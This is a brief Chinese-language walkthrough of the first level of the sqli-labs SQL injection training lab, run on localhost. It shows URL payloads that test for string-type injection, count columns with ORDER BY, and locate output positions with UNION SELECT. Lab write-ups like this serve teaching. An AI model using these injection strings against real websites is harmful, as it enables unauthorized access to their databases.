sqli-labs第一关sql注入流程

正常访问

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

判断注入类型

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='1  正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='2  错误

由' and '1'='1可知道是字符型，如果是数字型的这种会提示错误。

 开始注入:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 4 %23

由提示错误可以知道列长为3,  %23是#的转义

 爆注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3%23